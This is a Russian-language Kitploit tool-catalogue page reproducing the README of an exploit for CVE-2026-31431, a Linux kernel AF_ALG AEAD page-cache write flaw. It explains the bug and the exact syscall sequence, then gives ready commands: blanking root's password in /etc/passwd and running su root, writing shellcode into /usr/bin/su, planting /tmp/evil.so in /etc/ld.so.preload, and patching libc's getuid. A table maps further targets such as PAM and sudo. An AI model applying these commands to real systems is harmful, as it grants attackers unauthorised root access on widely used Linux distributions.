Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31431-Advanced-Exploit — Эксплойт для CVE-2026-31431 — уязвимость записи в page-cache AF_ALG AEAD в ядре Linux, позволяющая непривилегированно выполнять произвольные 4-байтовые записи в читаемые файлы для локального повышения привилегий. | Kitploit
Инструменты/GitHubGitHub/sndav/cve-2026-31431-advanced-exploit
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеЭксплуатация Бинарных Файлов
GitHubsndav/cve-2026-31431-advanced-exploit

CVE-2026-31431-Advanced-Exploit

Эксплойт для CVE-2026-31431 — уязвимость записи в page-cache AF_ALG AEAD в ядре Linux, позволяющая непривилегированно выполнять произвольные 4-байтовые записи в читаемые файлы для локального повышения привилегий.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
1112944 месяцев назадПроверено Kitploit

CVE-2026-31431 — Copy Fail

Уязвимость записи за пределы буфера в page cache ядра Linux (ошибка цепочки SGL в AF_ALG AEAD)

Обзор

В интерфейсе algif_aead ядра Linux существует уязвимость, позволяющая непривилегированному пользователю записывать произвольные данные в page cache любого читаемого файла — полностью обходя проверки прав доступа к файлам, мандатный контроль доступа (MAC) и проверки целостности.

Содержимое файла на диске не изменяется, но все последующие процессы, читающие этот файл (включая SUID-программы, динамический компоновщик, execve() и т.д.), будут видеть изменённую атакующим версию до тех пор, пока page cache не будет вытеснен.

Область воздействия

ПараметрОписание
Подсистемаcrypto/algif_aead.c
Алгоритмauthencesn(hmac(sha256),cbc(aes))
Конфигурация ядраCONFIG_CRYPTO_USER_API_AEAD=y/m (включено по умолчанию почти во всех основных дистрибутивах)
Требуемые праваНет — достаточно права на чтение целевого файла
Степень угрозыЛокальное повышение привилегий → root
Затронутые дистрибутивыUbuntu, Debian, Fedora, RHEL, Arch, openSUSE и др.

Принцип уязвимости

Краткое описание

При выполнении AEAD-расшифровки через AF_ALG:

  1. Пользовательский режим отправляет аутентифицированные ассоциированные данные (AAD) через sendmsg() + MSG_MORE, содержащие контролируемые атакующим 4 байта seqno_lo.
  2. Через splice() страницы page cache целевого файла внедряются в передающий SGL (TX SGL) криптографической подсистемы ядра.
  3. При построении целевого SGL (dst SGL) ядро связывает приёмный буфер со страницами page cache через sg_chain.
  4. Алгоритм authencesn записывает seqno_lo в целевой SGL по смещению assoclen + cryptlen — эта позиция выходит за пределы приёмного буфера и попадает непосредственно в связанные страницы page cache.
  5. Эта запись происходит до проверки HMAC. После сбоя HMAC ядро возвращает ошибку EBADMSG, но page cache уже изменён.

Схема потока данных

root@kitploit:~
 sendmsg (AAD)            splice (страницы файла)
     │                         │
     ▼                         ▼
 ┌──────────┐  sg_chain   ┌──────────────────────┐
 │ RX буфер  │─────────────▶│   Страница page cache│
 │  8 байт   │              │  (содержимое файла)  │
 └──────────┘              └──────────────────────┘
                                  ▲
                                  │
                      authencesn записывает здесь seqno_lo
                      смещение = assoclen + cryptlen
                      ════ вот здесь уязвимость ════

Ключевые моменты

  • 4 байта seqno_lo полностью контролируются атакующим в AAD (что записывается)
  • Длина splice определяет смещение записи в page cache (куда записывается)
  • Комбинация = примитив произвольной записи 4 байт в page cache любого читаемого файла

Использование

Быстрое повышение привилегий

root@kitploit:~
# Изменение page cache /etc/passwd, удаление пароля root, автоматический su root
./exploit.py escalate

Процесс выполнения:

  1. Резервное копирование исходного содержимого /etc/passwd в /tmp/.passwd.bak
  2. Изменение root:x:0:0:root:... на root::0:0:root :... в page cache
  3. Автоматический вызов su root (без пароля)

Пример вывода:

root@kitploit:~
[*] CVE-2026-31431 — Copy Fail
[*] Режим: удаление пароля root через /etc/passwd

[*] Резервная копия: /tmp/.passwd.bak
[*] До     : root:x:0:0:root:/root:/bin/bash
[*] После  : root::0:0:root :/root:/bin/bash
[*] Смещение: 0

    [0x000000]  726f6f74  root
    [0x000004]  3a3a303a  ::0:
    [0x000008]  303a726f  0:ro
    [0x00000c]  6f742020  ot
    [0x000010]  3a2f726f  :/ro
    [0x000014]  6f743a2f  ot:/
    [0x000018]  62696e2f  bin/
    [0x00001c]  62617368  bash

[+] Успех: root::0:0:root :/root:/bin/bash

[*] Восстановление: echo 3 > /proc/sys/vm/drop_caches
[*] Выполнение: su root (пароль не требуется)

Общий случай: произвольная запись в page cache

root@kitploit:~
# Базовый синтаксис
./exploit.py write <путь_к_файлу> <смещение> <данные>

# Чтение payload из бинарного файла
./exploit.py write <путь_к_файлу> <смещение> @payload.bin

Примеры использования

root@kitploit:~
# Запись shellcode в точку входа SUID-программы
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin

# Внедрение пути к предзагружаемой библиотеке
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'

# Изменение функции libc (например, заставить getuid() возвращать 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'

Ограничения

Методы восстановления

root@kitploit:~
# Способ 1: очистка всего page cache, восстановление исходного содержимого с диска
echo 3 > /proc/sys/vm/drop_caches

# Способ 2: перезагрузка
reboot

Внутренние технические детали

Инициализация сокета AF_ALG

root@kitploit:~
socket(AF_ALG, SOCK_SEQPACKET, 0)
  → bind("aead", "authencesn(hmac(sha256),cbc(aes))")
  → setsockopt(SOL_ALG, ALG_SET_KEY, authenc_ключевой_blob)
  → setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
  → accept()  →  fd запроса

Структура ключа (authenc key blob)

root@kitploit:~
┌─────────────────────────────────────────────┐
│ rta_len (2B)  │ rta_type (2B) │ enckeylen (4B) │
│   0x0008      │   0x0001      │  0x00000010    │
├─────────────────────────────────────────────┤
│          Ключ аутентификации (16 байт нулей)  │
├─────────────────────────────────────────────┤
│          Ключ шифрования (16 байт нулей)      │
└─────────────────────────────────────────────┘

Значение ключа не имеет значения — HMAC гарантированно завершится ошибкой, но запись за пределы буфера выполняется до проверки.

Процесс записи 4 байт за один раз

root@kitploit:~
Шаг 1:  sendmsg(req_fd,
                  AAD = [seqno_hi(4B) | seqno_lo(4B)],    ← seqno_lo = записываемое значение
                  cmsg = [OP=DECRYPT, IV=нули, ASSOCLEN=8],
                  flags = MSG_MORE)

Шаг 2:  pipe_r, pipe_w = pipe()

Шаг 3:  splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)

Шаг 4:  splice(pipe_r → req_fd, count = file_offset + 4)

Шаг 5:  recv(req_fd, ASSOC_LEN + file_offset)
          → запуск расшифровки authencesn
          → seqno_lo записывается в dst SGL по смещению assoclen + cryptlen
          → это смещение попадает в страницу page cache по адресу file_offset
          → сбой HMAC, возврат EBADMSG
          → page cache уже изменён ✓

Расчёт смещения

root@kitploit:~
Компоновка dst SGL:
  [0 .. 7]                         → RX буфер (область приёма AAD)
  [8 .. 8 + file_offset + 3]      → страница page cache (внедрена через splice)

Позиция записи seqno_lo:
  dst[assoclen + cryptlen]
  = dst[8 + file_offset]
  = позиция file_offset в page cache

∴ атакующий контролирует file_offset → контролирует позицию записи
  атакующий контролирует seqno_lo    → контролирует записываемое содержимое

Структура файлов

root@kitploit:~
.
├── exploit.py          # Автономный скрипт эксплойта (требуется только Python 3 + Linux)
└── README.md           # Этот файл

Обзор сценариев эксплуатации

Отказ от ответственности

Данный инструмент предназначен только для авторизованных исследований в области безопасности и пентестинга. Несанкционированное использование данного инструмента для атак на чужие системы является противоправным действием. Пользователь несёт всю юридическую ответственность самостоятельно.

Скачать инструмент
ОграничениеОписание
Право на чтениеЦелевой файл должен быть читаем для текущего пользователя (O_RDONLY)
ВыравниваниеЗапись по 4 байта; хвост менее 4 байт дополняется 0x90
Размер файлаРазмер файла должен быть ≥ смещение + длина_данных + 4 байт
Только page cacheСодержимое файла на диске не изменяется
ПостоянствоДействует до вытеснения page cache или ручной очистки
Конфигурация ядраТребуется AF_ALG + доступный authencesn (есть по умолчанию в основных дистрибутивах)
Вектор атакиЦелевой файлЭффект
Удаление пароля root/etc/passwdsu root без пароля
Внедрение предзагружаемой библиотеки/etc/ld.so.preloadВсе программы загружают вредоносный .so
Изменение SUID-программы/usr/bin/su и др.Выполнение shellcode для получения root shell
Изменение libc/usr/lib/libc.so.6Перехват getuid() и других функций с возвратом 0
Изменение модуля PAM/usr/lib/security/pam_unix.soОбход всей аутентификации
Изменение sudo/usr/bin/sudoЛюбой пользователь напрямую получает root